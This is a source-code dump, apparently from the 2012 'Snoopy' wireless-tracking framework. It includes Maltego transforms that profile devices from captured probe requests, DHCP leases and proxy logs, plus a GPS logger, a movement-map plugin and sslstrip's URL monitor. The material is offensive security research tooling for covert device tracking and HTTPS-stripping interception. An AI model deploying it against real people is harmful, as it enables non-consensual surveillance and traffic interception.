start_time=now+datetime.timedelta(seconds=-lookback) 37 | end_time=now+datetime.timedelta(seconds=lookback) 38 | 39 | # Maltego requires format e.g 2012-10-23 22:37:12.0 40 | now=now.strftime("%Y-%m-%d %H:%M:%S.0") 41 | start_time=start_time.strftime("%Y-%m-%d %H:%M:%S.0") 42 | end_time=end_time.strftime("%Y-%m-%d %H:%M:%S.0") 43 | 44 | 45 | if 'location' in m.AdditionalFields: 46 | location=m.AdditionalFields['location'] 47 | else: 48 | location="%" 49 | 50 | if 'properties.drone' in m.AdditionalFields: 51 | drone=m.AdditionalFields['properties.drone'] 52 | 53 | 54 | cursor.execute("SELECT country,count(*) FROM wigle GROUP BY country HAVING country != ''") 55 | results=cursor.fetchall() 56 | 57 | for row in results: 58 | country="fuck unicode" 59 | num=-1 60 | try: 61 | #country=row[0].decode('raw_unicode_escape').encode('ascii','xmlcharrefreplace') 62 | country=row[0].encode('utf8','xmlcharrefreplace') 63 | num=row[1] 64 | except Exception,e: 65 | logging.debug(e) 66 | 67 | 68 | NewEnt=TRX.addEntity("maltego.Location", country); 69 | NewEnt.addAdditionalFields("num","Number","strict",num) 70 | NewEnt.addAdditionalFields("country","country","strict",country) 71 | NewEnt.setWeight(num) 72 | 73 | #NewEnt.addAdditionalFields("drone","drone","strict",drone) 74 | #NewEnt.addAdditionalFields("start_time", "start_time", "nostrict",start) 75 | #NewEnt.addAdditionalFields("end_time","end_time", "nostrict",end) 76 | #NewEnt.addAdditionalFields("location","location","strict",location) 77 | #NewEnt.addAdditionalFields("run_id","run_id","strict",run_id) 78 | 79 | 80 | TRX.returnOutput() 81 | try: 82 | main() 83 | except Exception, e: 84 | logging.debug(e) 85 | 86 | -------------------------------------------------------------------------------- /snoopy/server/bin/prox_guid.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # glenn@sensepost.com 3 | # Snoopy // 2012 4 | # By using this code you agree to abide by the supplied LICENSE.txt 5 | 6 | # This script creates proximity sessions based on intervals between observed probe requests. 7 | 8 | import stawk_db 9 | import string 10 | from random import choice 11 | import time 12 | import logging 13 | 14 | # Time without seeing a probe from a device 15 | # to mark the prox session as finished. 16 | proximity_buffer = 600 # 10 minutes 17 | sleep_for=10 # Rereun every n seconds 18 | 19 | def getGuid(): 20 | return ''.join([choice(string.letters + string.digits) for i in range(18)]) 21 | 22 | def do_prox(): 23 | cursor=stawk_db.dbconnect() 24 | cursor.execute("SELECT device_mac FROM probes WHERE 1 GROUP BY device_mac HAVING SUM(CASE WHEN proximity_session IS NULL AND timestamp IS NOT NULL THEN 1 ELSE 0 END)>0") 25 | macs=cursor.fetchall() 26 | if( len(macs) > 0): 27 | logging.info("%d devices probing. Grouping into proximity sessions..." %len(macs)) 28 | for row in macs: 29 | curr_mac=row[0] 30 | first_row=None 31 | cursor.execute("SELECT DISTINCT unix_timestamp(timestamp),proximity_session FROM probes where device_mac=%s AND timestamp IS NOT NULL ORDER BY unix_timestamp(timestamp)",curr_mac) 32 | results=cursor.fetchall() 33 | 34 | 35 | #Unusual case when only one result 36 | if(len(results) == 1): 37 | cursor.execute("UPDATE probes SET proximity_session=%s WHERE device_mac=%s",(getGuid(),curr_mac)) 38 | else: 39 | # Find first null prox session, and start from the entry before it. 40 | start_from=0 41 | while( start_from< len(results)-1 and results[start_from][1] != None): 42 | start_from+=1 43 | 44 | if( start_from>0): 45 | start_from-=1 46 | prev_prox = results[start_from][1] 47 | else: 48 | prev_prox = getGuid() 49 | start_from+=1 50 | 51 | 52 | prev_ts=results[start_from-1][0] 53 | for r in range(start_from,len(results)): 54 | special_flag=True 55 | timestamp=results[r][0] 56 | 57 | if( (results[r-1][0]+proximity_buffer) < timestamp): 58 | cursor.execute("UPDATE probes SET proximity_session=%s WHERE device_mac=%s AND unix_timestamp(timestamp)>=%s AND unix_timestamp(timestamp) <%s", (prev_prox,curr_mac,prev_ts,timestamp)) 59 | prev_prox=getGuid() 60 | prev_ts=timestamp 61 | special_flag=False 62 | else: 63 | pass 64 | if( results[r][1] == None or special_flag): 65 | cursor.execute("UPDATE probes SET proximity_session=%s WHERE device_mac=%s AND unix_timestamp(timestamp)>=%s AND unix_timestamp(timestamp) <=%s", (prev_prox,curr_mac,prev_ts,timestamp)) 66 | 67 | 68 | 69 | def main(): 70 | logging.info("Starting proximity calculator...") 71 | 72 | while True: 73 | try: 74 | do_prox() 75 | except Exception, e: 76 | print e 77 | time.sleep(sleep_for) 78 | 79 | 80 | 81 | if __name__ == "__main__": 82 | logging.basicConfig(level=logging.INFO,format='%(asctime)s %(levelname)s %(filename)s: %(message)s',datefmt='%Y-%m-%d %H:%M:%S') 83 | main() 84 | 85 | 86 | -------------------------------------------------------------------------------- /snoopy/server/bin/sslstripSnoopy/sslstrip/URLMonitor.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2004-2009 Moxie Marlinspike 2 | # 3 | # This program is free software; you can redistribute it and/or 4 | # modify it under the terms of the GNU General Public License as 5 | # published by the Free Software Foundation; either version 3 of the 6 | # License, or (at your option) any later version. 7 | # 8 | # This program is distributed in the hope that it will be useful, but 9 | # WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 11 | # General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with this program; if not, write to the Free Software 15 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 16 | # USA 17 | # 18 | 19 | import re 20 | 21 | class URLMonitor: 22 | 23 | ''' 24 | The URL monitor maintains a set of (client, url) tuples that correspond to requests which the 25 | server is expecting over SSL. It also keeps track of secure favicon urls. 26 | ''' 27 | 28 | # Start the arms race, and end up here... 29 | javascriptTrickery = [re.compile("http://.+\.etrade\.com/javascript/omntr/tc_targeting\.html")] 30 | _instance = None 31 | 32 | def __init__(self): 33 | self.strippedURLs = set() 34 | self.strippedURLPorts = {} 35 | self.faviconReplacement = False 36 | 37 | def isSecureLink(self, client, url): 38 | for expression in URLMonitor.javascriptTrickery: 39 | if (re.match(expression, url)): 40 | return True 41 | 42 | return (client,url) in self.strippedURLs 43 | 44 | def getSecurePort(self, client, url): 45 | if (client,url) in self.strippedURLs: 46 | return self.strippedURLPorts[(client,url)] 47 | else: 48 | return 443 49 | 50 | def addSecureLink(self, client, url): 51 | methodIndex = url.find("//") + 2 52 | method = url[0:methodIndex] 53 | 54 | pathIndex = url.find("/", methodIndex) 55 | host = url[methodIndex:pathIndex] 56 | path = url[pathIndex:] 57 | 58 | port = 443 59 | portIndex = host.find(":") 60 | 61 | if (portIndex != -1): 62 | host = host[0:portIndex] 63 | port = host[portIndex+1:] 64 | if len(port) == 0: 65 | port = 443 66 | 67 | url = method + host + path 68 | 69 | self.strippedURLs.add((client, url)) 70 | self.strippedURLPorts[(client, url)] = int(port) 71 | 72 | def setFaviconSpoofing(self, faviconSpoofing): 73 | self.faviconSpoofing = faviconSpoofing 74 | 75 | def isFaviconSpoofing(self): 76 | return self.faviconSpoofing 77 | 78 | def isSecureFavicon(self, client, url): 79 | return ((self.faviconSpoofing == True) and (url.find("favicon-x-favicon-x.ico") != -1)) 80 | 81 | def getInstance(): 82 | if URLMonitor._instance == None: 83 | URLMonitor._instance = URLMonitor() 84 | 85 | return URLMonitor._instance 86 | 87 | getInstance = staticmethod(getInstance) 88 | -------------------------------------------------------------------------------- /snoopy/server/bin/sslstripSnoopy/build/lib.linux-i686-2.7/sslstrip/URLMonitor.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2004-2009 Moxie Marlinspike 2 | # 3 | # This program is free software; you can redistribute it and/or 4 | # modify it under the terms of the GNU General Public License as 5 | # published by the Free Software Foundation; either version 3 of the 6 | # License, or (at your option) any later version. 7 | # 8 | # This program is distributed in the hope that it will be useful, but 9 | # WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 11 | # General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with this program; if not, write to the Free Software 15 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 16 | # USA 17 | # 18 | 19 | import re 20 | 21 | class URLMonitor: 22 | 23 | ''' 24 | The URL monitor maintains a set of (client, url) tuples that correspond to requests which the 25 | server is expecting over SSL. It also keeps track of secure favicon urls. 26 | ''' 27 | 28 | # Start the arms race, and end up here... 29 | javascriptTrickery = [re.compile("http://.+\.etrade\.com/javascript/omntr/tc_targeting\.html")] 30 | _instance = None 31 | 32 | def __init__(self): 33 | self.strippedURLs = set() 34 | self.strippedURLPorts = {} 35 | self.faviconReplacement = False 36 | 37 | def isSecureLink(self, client, url): 38 | for expression in URLMonitor.javascriptTrickery: 39 | if (re.match(expression, url)): 40 | return True 41 | 42 | return (client,url) in self.strippedURLs 43 | 44 | def getSecurePort(self, client, url): 45 | if (client,url) in self.strippedURLs: 46 | return self.strippedURLPorts[(client,url)] 47 | else: 48 | return 443 49 | 50 | def addSecureLink(self, client, url): 51 | methodIndex = url.find("//") + 2 52 | method = url[0:methodIndex] 53 | 54 | pathIndex = url.find("/", methodIndex) 55 | host = url[methodIndex:pathIndex] 56 | path = url[pathIndex:] 57 | 58 | port = 443 59 | portIndex = host.find(":") 60 | 61 | if (portIndex != -1): 62 | host = host[0:portIndex] 63 | port = host[portIndex+1:] 64 | if len(port) == 0: 65 | port = 443 66 | 67 | url = method + host + path 68 | 69 | self.strippedURLs.add((client, url)) 70 | self.strippedURLPorts[(client, url)] = int(port) 71 | 72 | def setFaviconSpoofing(self, faviconSpoofing): 73 | self.faviconSpoofing = faviconSpoofing 74 | 75 | def isFaviconSpoofing(self): 76 | return self.faviconSpoofing 77 | 78 | def isSecureFavicon(self, client, url): 79 | return ((self.faviconSpoofing == True) and (url.find("favicon-x-favicon-x.ico") != -1)) 80 | 81 | def getInstance(): 82 | if URLMonitor._instance == None: 83 | URLMonitor._instance = URLMonitor() 84 | 85 | return URLMonitor._instance 86 | 87 | getInstance = staticmethod(getInstance) 88 | -------------------------------------------------------------------------------- /snoopy/server/bin/snoopy/src/snoopy/static/js/gpsmovs.js: -------------------------------------------------------------------------------- 1 | Snoopy.registerPlugin('gpsmovs', function(section, clData) { 2 | if (!Snoopy.util.loadGoogleMaps()) { 3 | console.error('Google Maps not (yet) loaded'); 4 | return; 5 | } 6 | 7 | var $outer_ul = $(document.createElement('ul')); 8 | for (var runId in clData) { 9 | if (!clData.hasOwnProperty(runId)) { continue; } 10 | var $map = $(document.createElement('div')) 11 | .attr('id', 'map_' + runId) 12 | .css({ width: '425px', height: '350px', border: '1px solid #abbce6' }), 13 | coordList=clData[runId], 14 | markers=[], path=[], avg_long=0.0, avg_lat=0.0, 15 | red=$.Color('red'), green=$.Color('green'), mCol=$.Color(), 16 | minTimestamp=9999999999, maxTimestamp=0, 17 | coords, coords_i, latlng, map; 18 | 19 | if (!coordList.length) { continue; } 20 | 21 | for (coords_i=0; coords_i < coordList.length; coords_i++) { 22 | coords = coordList[coords_i]; 23 | 24 | if (coords.timestamp < minTimestamp) { minTimestamp = coords.timestamp; } 25 | if (coords.timestamp > maxTimestamp) { maxTimestamp = coords.timestamp; } 26 | 27 | mCol = mCol 28 | .saturation(1.0) 29 | .lightness(0.5) 30 | .hue(Math.round( (green.hue()-red.hue()) * (coords.accuracy / 100.0) )); 31 | 32 | latlng = new google.maps.LatLng(coords.lat, coords.long); 33 | markers.push(new google.maps.Marker({ 34 | icon: { 35 | path: google.maps.SymbolPath.CIRCLE, 36 | scale: 4, 37 | strokeColor: mCol.toRgbaString() 38 | }, 39 | title: Snoopy.util.dateFormat(coords.timestamp) + ' (' + coords.accuracy + '%)', 40 | position: latlng 41 | })); 42 | path.push(latlng); 43 | avg_lat += coords.lat; 44 | avg_long += coords.long; 45 | } 46 | 47 | avg_lat /= coordList.length; 48 | avg_long /= coordList.length; 49 | 50 | map = new google.maps.Map($map[0], { 51 | zoom: 18, mapTypeId: google.maps.MapTypeId.ROADMAP, 52 | center: new google.maps.LatLng(avg_lat, avg_long), 53 | }); 54 | 55 | for (var i=0; i < markers.length; i++) { 56 | markers[i].setMap(map); 57 | } 58 | 59 | new google.maps.Polyline({ 60 | clickable: false, 61 | icons: [{ 62 | icon: { 63 | path: google.maps.SymbolPath.FORWARD_CLOSED_ARROW, 64 | strokeColor: '#666', 65 | strokeWeight: 1.0 66 | }, 67 | repeat: '150px', 68 | scale: 0.2 69 | }], 70 | map: map, 71 | path: path, 72 | strokeColor: '#abbce6' 73 | }); 74 | 75 | $outer_ul.append( 76 | $(document.createElement('li')) 77 | .text(Snoopy.util.periodFormat(minTimestamp, maxTimestamp)) 78 | .append($map) 79 | ); 80 | } 81 | if ($outer_ul.children().length) { 82 | $('.section-content', section).append($outer_ul); 83 | } 84 | }); 85 | -------------------------------------------------------------------------------- /snoopy/server/transforms/fetchLocations.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf-8 -*- 3 | # glenn@sensepost.com 4 | # Snoopy // 2012 5 | # By using this code you agree to abide by the supplied LICENSE.txt 6 | 7 | import sys 8 | import os 9 | from Maltego import * 10 | import stawk_db 11 | import logging 12 | import datetime 13 | from common import * 14 | 15 | logging.basicConfig(level=logging.DEBUG,filename='/tmp/maltego_logs.txt',format='%(asctime)s %(levelname)s: %(message)s',datefmt='%Y-%m-%d %H:%M:%S') 16 | 17 | sys.stderr = sys.stdout 18 | 19 | def main(): 20 | print "Content-type: xml\n\n"; 21 | MaltegoXML_in = sys.stdin.read() 22 | if MaltegoXML_in <> '': 23 | #logging.debug(MaltegoXML_in) 24 | m = MaltegoMsg(MaltegoXML_in) 25 | 26 | cursor=stawk_db.dbconnect() 27 | TRX = MaltegoTransform() 28 | 29 | drone='%' 30 | now=datetime.datetime.now() 31 | if 'start_time' in m.AdditionalFields and 'end_time' in m.AdditionalFields : 32 | start_time=m.AdditionalFields['start_time'] 33 | end_time=m.AdditionalFields['end_time'] 34 | else: 35 | start_time=now+datetime.timedelta(seconds=-lookback) 36 | end_time=now+datetime.timedelta(seconds=lookback) 37 | 38 | # Maltego requires format e.g 2012-10-23 22:37:12.0 39 | now=now.strftime("%Y-%m-%d %H:%M:%S.0") 40 | start_time=start_time.strftime("%Y-%m-%d %H:%M:%S.0") 41 | end_time=end_time.strftime("%Y-%m-%d %H:%M:%S.0") 42 | 43 | 44 | if 'location' in m.AdditionalFields: 45 | location=m.AdditionalFields['location'] 46 | else: 47 | location="%" 48 | 49 | if 'properties.drone' in m.AdditionalFields: 50 | drone=m.AdditionalFields['properties.drone'] 51 | 52 | # logging.debug("SELECT DISTINCT location FROM probes WHERE timestamp > '%s' AND timestamp < '%s' AND monitor_id LIKE '%s'" %(start_time,end_time,drone)) 53 | # cursor.execute("SELECT DISTINCT location FROM probes WHERE timestamp > %s AND timestamp < %s AND monitor_id LIKE %s", (start_time,end_time,drone)) 54 | 55 | logging.debug("SELECT location,MIN(timestamp),MAX(timestamp),run_id FROM probes WHERE timestamp > '%s' AND timestamp < '%s' AND monitor_id LIKE '%s' GROUP BY location"% (start_time,end_time,drone)) 56 | cursor.execute("SELECT location,MIN(timestamp),MAX(timestamp),run_id FROM probes WHERE timestamp > %s AND timestamp < %s AND monitor_id LIKE %s GROUP BY location", (start_time,end_time,drone)) 57 | 58 | 59 | results=cursor.fetchall() 60 | 61 | for row in results: 62 | location,start,end,run_id=row[0],row[1].strftime("%Y-%m-%d %H:%M:%S.0"),row[2].strftime("%Y-%m-%d %H:%M:%S.0"),row[3] 63 | logging.debug("SE / ET - %s / %s" %(start,end)) 64 | NewEnt=TRX.addEntity("snoopy.DroneLocation", location); 65 | 66 | NewEnt.addAdditionalFields("drone","drone","strict",drone) 67 | NewEnt.addAdditionalFields("start_time", "start_time", "nostrict",start) 68 | NewEnt.addAdditionalFields("end_time","end_time", "nostrict",end) 69 | NewEnt.addAdditionalFields("location","location","strict",location) 70 | NewEnt.addAdditionalFields("run_id","run_id","strict",run_id) 71 | 72 | 73 | TRX.returnOutput() 74 | try: 75 | main() 76 | except Exception, e: 77 | logging.debug(e) 78 | 79 | -------------------------------------------------------------------------------- /snoopy/server/transforms/fetchClientsFromCountry.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf-8 -*- 3 | # glenn@sensepost.com 4 | # Snoopy // 2012 5 | # By using this code you agree to abide by the supplied LICENSE.txt 6 | 7 | import sys 8 | import os 9 | from Maltego import * 10 | import stawk_db 11 | import logging 12 | import datetime 13 | from common import * 14 | logging.basicConfig(level=logging.DEBUG,filename='/tmp/maltego_logs.txt',format='%(asctime)s %(levelname)s: %(message)s',datefmt='%Y-%m-%d %H:%M:%S') 15 | 16 | sys.stderr = sys.stdout 17 | 18 | def main(): 19 | 20 | print "Content-type: xml\n\n"; 21 | MaltegoXML_in = sys.stdin.read() 22 | if MaltegoXML_in <> '': 23 | #logging.debug(MaltegoXML_in) 24 | m = MaltegoMsg(MaltegoXML_in) 25 | 26 | cursor=stawk_db.dbconnect() 27 | TRX = MaltegoTransform() 28 | 29 | drone='%' 30 | now=datetime.datetime.now() 31 | if 'start_time' in m.AdditionalFields and 'end_time' in m.AdditionalFields : 32 | start_time=m.AdditionalFields['start_time'] 33 | end_time=m.AdditionalFields['end_time'] 34 | else: 35 | start_time=now+datetime.timedelta(seconds=-lookback) 36 | end_time=now+datetime.timedelta(seconds=lookback) 37 | 38 | # Maltego requires format e.g 2012-10-23 22:37:12.0 39 | now=now.strftime("%Y-%m-%d %H:%M:%S.0") 40 | start_time=start_time.strftime("%Y-%m-%d %H:%M:%S.0") 41 | end_time=end_time.strftime("%Y-%m-%d %H:%M:%S.0") 42 | 43 | 44 | if 'location' in m.AdditionalFields: 45 | location=m.AdditionalFields['location'] 46 | else: 47 | location="%" 48 | 49 | if 'properties.drone' in m.AdditionalFields: 50 | drone=m.AdditionalFields['properties.drone'] 51 | 52 | 53 | country='%' 54 | if 'country' in m.AdditionalFields: 55 | country=m.AdditionalFields['country'] 56 | 57 | cursor.execute("SELECT DISTINCT device_mac,vendor_short,IF(hostname IS NULL, '', CONCAT('(',hostname,')')) AS hostname, IF(hostname IS NULL, 'False','True') AS from_web, 'True' AS from_probes FROM probes LEFT OUTER JOIN dhcp_leases ON probes.device_mac = dhcp_leases.mac JOIN wigle ON probes.probe_ssid=wigle.ssid JOIN mac_vendor ON probes.mac_prefix=mac_vendor.mac AND country=%s",(country)) 58 | results=cursor.fetchall() 59 | 60 | for row in results: 61 | mac,vendor,hostname,from_web,from_probes=row[0],row[1],row[2],row[3],row[4] 62 | NewEnt=TRX.addEntity("snoopy.Client", "%s %s"%(vendor,hostname)) 63 | 64 | NewEnt.addAdditionalFields("mac","mac address", "strict",mac) 65 | NewEnt.addAdditionalFields("vendor","vendor","strict",vendor) 66 | NewEnt.addAdditionalFields("hostname","hostname","hostname",hostname) 67 | 68 | NewEnt.addAdditionalFields("from_web","from_web","nostrict",from_web) 69 | NewEnt.addAdditionalFields("from_probes","from_probes","nostrict",from_probes) 70 | 71 | 72 | 73 | #NewEnt.addAdditionalFields("drone","drone","strict",drone) 74 | #NewEnt.addAdditionalFields("start_time", "start_time", "nostrict",start) 75 | #NewEnt.addAdditionalFields("end_time","end_time", "nostrict",end) 76 | #NewEnt.addAdditionalFields("location","location","strict",location) 77 | #NewEnt.addAdditionalFields("run_id","run_id","strict",run_id) 78 | 79 | 80 | TRX.returnOutput() 81 | try: 82 | main() 83 | except Exception, e: 84 | logging.debug(e) 85 | 86 | -------------------------------------------------------------------------------- /snoopy/server/transforms/fetchClientsFromUA.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf-8 -*- 3 | # glenn@sensepost.com 4 | # Snoopy // 2012 5 | # By using this code you agree to abide by the supplied LICENSE.txt 6 | 7 | import sys 8 | import os 9 | from Maltego import * 10 | import stawk_db 11 | import logging 12 | import datetime 13 | from common import * 14 | 15 | logging.basicConfig(level=logging.DEBUG,filename='/tmp/maltego_logs.txt',format='%(asctime)s %(levelname)s: %(message)s',datefmt='%Y-%m-%d %H:%M:%S') 16 | 17 | sys.stderr = sys.stdout 18 | 19 | def main(): 20 | 21 | print "Content-type: xml\n\n"; 22 | MaltegoXML_in = sys.stdin.read() 23 | if MaltegoXML_in <> '': 24 | #logging.debug(MaltegoXML_in) 25 | m = MaltegoMsg(MaltegoXML_in) 26 | 27 | cursor=stawk_db.dbconnect() 28 | TRX = MaltegoTransform() 29 | 30 | drone='%' 31 | now=datetime.datetime.now() 32 | if 'start_time' in m.AdditionalFields and 'end_time' in m.AdditionalFields : 33 | start_time=m.AdditionalFields['start_time'] 34 | end_time=m.AdditionalFields['end_time'] 35 | else: 36 | start_time=now+datetime.timedelta(seconds=-lookback) 37 | end_time=now+datetime.timedelta(seconds=lookback) 38 | 39 | # Maltego requires format e.g 2012-10-23 22:37:12.0 40 | now=now.strftime("%Y-%m-%d %H:%M:%S.0") 41 | start_time=start_time.strftime("%Y-%m-%d %H:%M:%S.0") 42 | end_time=end_time.strftime("%Y-%m-%d %H:%M:%S.0") 43 | 44 | 45 | if 'location' in m.AdditionalFields: 46 | location=m.AdditionalFields['location'] 47 | else: 48 | location="%" 49 | 50 | if 'properties.drone' in m.AdditionalFields: 51 | drone=m.AdditionalFields['properties.drone'] 52 | 53 | ua='None' 54 | if 'useragent' in m.AdditionalFields: 55 | ua=m.AdditionalFields['useragent'] 56 | 57 | 58 | cursor.execute("SELECT DISTINCT client_ip,hostname,dhcp_leases.mac,vendor_short,ua FROM dhcp_leases,squid_logs,mac_vendor WHERE squid_logs.client_ip=dhcp_leases.ip AND dhcp_leases.mac_prefix=mac_vendor.mac AND ua LIKE %s",(ua)) 59 | results=cursor.fetchall() 60 | 61 | for row in results: 62 | 63 | try: 64 | client_ip=row[0] 65 | hostname=row[1].encode('utf8','xmlcharrefreplace') 66 | mac=row[2] 67 | vendor=row[3].encode('utf8','xmlcharrefreplace') 68 | ua=row[4].encode('utf8','xmlcharrefreplace') 69 | except Exception,e: 70 | logging.debug(e) 71 | 72 | NewEnt=TRX.addEntity("snoopy.Client", "%s (%s)"%(vendor,hostname)) 73 | NewEnt.addAdditionalFields("hostname","hostname","strict",hostname) 74 | NewEnt.addAdditionalFields("mac","mac","strict",mac) 75 | NewEnt.addAdditionalFields("vendor","vendor","strict",vendor) 76 | # NewEnt.addAdditionalFields("useragent","useragent","strict",ua) 77 | 78 | NewEnt.addAdditionalFields("from_web","from_web","strict","True") 79 | NewEnt.addAdditionalFields("from_probes","from_probes","strict","True") 80 | 81 | #NewEnt.addAdditionalFields("drone","drone","strict",drone) 82 | #NewEnt.addAdditionalFields("start_time", "start_time", "nostrict",start) 83 | #NewEnt.addAdditionalFields("end_time","end_time", "nostrict",end) 84 | #NewEnt.addAdditionalFields("location","location","strict",location) 85 | #NewEnt.addAdditionalFields("run_id","run_id","strict",run_id) 86 | 87 | 88 | TRX.returnOutput() 89 | try: 90 | main() 91 | except Exception, e: 92 | logging.debug(e) 93 | 94 | -------------------------------------------------------------------------------- /snoopy/client/bin/snoopy_gpslogger.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # glenn@sensepost.com 3 | # Snoopy // 2012 4 | # By using this code you agree to abide by the supplied LICENSE.txt 5 | 6 | # Script to poll GPS on N900. Quick, dirty, PoC hack. Please rewrite for me. 7 | # Waits for accuracy to be < 100m 8 | 9 | import location 10 | import gobject 11 | import sys 12 | import time 13 | import math 14 | 15 | if len(sys.argv) < 3: 16 | sys.stderr.write('Usage:' + sys.argv[0] +' \n') 17 | sys.exit(1) 18 | 19 | acc=10000 #100m 20 | prepend_text=sys.argv[3] 21 | sleep_time=int(sys.argv[2]) 22 | filename=sys.argv[1] 23 | #print "[+] Will poll GPS until accuracy of %d meters." %(acc/100) 24 | 25 | 26 | class gps_fix: 27 | fix=None 28 | 29 | def on_error(self,control, error, data): 30 | print "location error: %d... quitting" % error 31 | data.quit() 32 | 33 | def on_changed(self,device, data): 34 | if not device: 35 | return 36 | 37 | #Uncomment line below to show progress... 38 | cacc= "#Accuracy: %f,%f,%f,%f,%f" %(time.time(),device.fix[4],device.fix[5],device.fix[6]/100,device.fix[11]) 39 | #print cacc 40 | #f.write(cacc) 41 | #f.write("\n") 42 | #f.flush() 43 | 44 | if not device.fix[6] == device.fix[6]: 45 | return 46 | 47 | if device.fix[6] > acc: 48 | return 49 | 50 | if device.fix: 51 | if device.fix[1] & location.GPS_DEVICE_LATLONG_SET: 52 | f=open(filename, "a") 53 | #print "[+] GPS coords: (%f,%f) +/- %f" %(device.fix[4],device.fix[5],device.fix[6]/100) 54 | pos ="%s,%f,%f,%f,%f" %(prepend_text,time.time(),device.fix[4],device.fix[5],device.fix[6]/100) 55 | self.fix=(device.fix[4],device.fix[5]) 56 | f.write(pos) 57 | f.write("\n") 58 | f.close() 59 | data.stop() 60 | #time.sleep(sleep_time) 61 | #data.start() 62 | 63 | def on_stop(self,control, data): 64 | data.quit() 65 | #pass 66 | 67 | def start_location(self,data): 68 | data.start() 69 | return False 70 | 71 | def __init__(self): 72 | loop = gobject.MainLoop() 73 | control = location.GPSDControl.get_default() 74 | device = location.GPSDevice() 75 | control.set_properties(preferred_method=location.METHOD_USER_SELECTED, 76 | preferred_interval=location.INTERVAL_DEFAULT) 77 | 78 | control.connect("error-verbose", self.on_error, loop) 79 | device.connect("changed", self.on_changed, control) 80 | control.connect("gpsd-stopped", self.on_stop, loop) 81 | 82 | gobject.idle_add(self.start_location, control) 83 | 84 | loop.run() 85 | 86 | 87 | def haversine(lat1, lon1, lat2, lon2): 88 | R = 6372.8 # In kilometers 89 | dLat = math.radians(lat2 - lat1) 90 | dLon = math.radians(lon2 - lon1) 91 | lat1 = math.radians(lat1) 92 | lat2 = math.radians(lat2) 93 | 94 | a = math.sin(dLat / 2) * math.sin(dLat / 2) + math.sin(dLon / 2) * math.sin(dLon / 2) * math.cos(lat1) * math.cos(lat2) 95 | c = 2 * math.asin(math.sqrt(a)) 96 | return R * c * 1000.0 # In metres 97 | 98 | lastPos=(0,0) 99 | while(1): 100 | g = gps_fix() 101 | 102 | #print lastPos[0],g.fix[0],lastPos[1],g.fix[1] 103 | distanceMoved=haversine(lastPos[0],lastPos[1],g.fix[0],g.fix[1]) 104 | #print "Distance moved %f" %distanceMoved 105 | if( distanceMoved < 100): 106 | time.sleep(sleep_time) 107 | lastPos=(g.fix[0],g.fix[1]) 108 | 109 | -------------------------------------------------------------------------------- /snoopy/server/transforms/fetchClientsFromDomain.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf-8 -*- 3 | # glenn@sensepost.com 4 | # Snoopy // 2012 5 | # By using this code you agree to abide by the supplied LICENSE.txt 6 | 7 | import sys 8 | import os 9 | from Maltego import * 10 | import stawk_db 11 | import logging 12 | import datetime 13 | from common import * 14 | 15 | logging.basicConfig(level=logging.DEBUG,filename='/tmp/maltego_logs.txt',format='%(asctime)s %(levelname)s: %(message)s',datefmt='%Y-%m-%d %H:%M:%S') 16 | 17 | sys.stderr = sys.stdout 18 | 19 | def main(): 20 | 21 | print "Content-type: xml\n\n"; 22 | MaltegoXML_in = sys.stdin.read() 23 | if MaltegoXML_in <> '': 24 | #logging.debug(MaltegoXML_in) 25 | m = MaltegoMsg(MaltegoXML_in) 26 | 27 | cursor=stawk_db.dbconnect() 28 | TRX = MaltegoTransform() 29 | 30 | drone='%' 31 | now=datetime.datetime.now() 32 | if 'start_time' in m.AdditionalFields and 'end_time' in m.AdditionalFields : 33 | start_time=m.AdditionalFields['start_time'] 34 | end_time=m.AdditionalFields['end_time'] 35 | else: 36 | start_time=now+datetime.timedelta(seconds=-lookback) 37 | end_time=now+datetime.timedelta(seconds=lookback) 38 | 39 | # Maltego requires format e.g 2012-10-23 22:37:12.0 40 | now=now.strftime("%Y-%m-%d %H:%M:%S.0") 41 | start_time=start_time.strftime("%Y-%m-%d %H:%M:%S.0") 42 | end_time=end_time.strftime("%Y-%m-%d %H:%M:%S.0") 43 | 44 | 45 | if 'location' in m.AdditionalFields: 46 | location=m.AdditionalFields['location'] 47 | else: 48 | location="%" 49 | 50 | if 'properties.drone' in m.AdditionalFields: 51 | drone=m.AdditionalFields['properties.drone'] 52 | 53 | domain='None' 54 | if 'domain' in m.AdditionalFields: 55 | domain=m.AdditionalFields['domain'] 56 | 57 | 58 | cursor.execute("SELECT DISTINCT client_ip,hostname,dhcp_leases.mac,vendor_short,ua FROM dhcp_leases,squid_logs,mac_vendor WHERE squid_logs.client_ip=dhcp_leases.ip AND dhcp_leases.mac_prefix=mac_vendor.mac AND domain = %s",(domain)) 59 | results=cursor.fetchall() 60 | 61 | for row in results: 62 | 63 | try: 64 | client_ip=row[0] 65 | hostname=row[1].encode('utf8','xmlcharrefreplace') 66 | mac=row[2] 67 | vendor=row[3].encode('utf8','xmlcharrefreplace') 68 | useragent=row[4].encode('utf8','xmlcharrefreplace') 69 | except Exception,e: 70 | logging.debug(e) 71 | 72 | NewEnt=TRX.addEntity("snoopy.Client", "%s (%s)"%(vendor,hostname)) 73 | NewEnt.addAdditionalFields("hostname","hostname","strict",hostname) 74 | NewEnt.addAdditionalFields("mac","mac","strict",mac) 75 | NewEnt.addAdditionalFields("vendor","vendor","strict",vendor) 76 | # NewEnt.addAdditionalFields("useragent","useragent","strict",useragent) #Some devices have multiple UAs 77 | NewEnt.addAdditionalFields("from_web","from_web","strict","True") 78 | NewEnt.addAdditionalFields("from_probes","from_probes","strict","True") 79 | 80 | #NewEnt.addAdditionalFields("drone","drone","strict",drone) 81 | 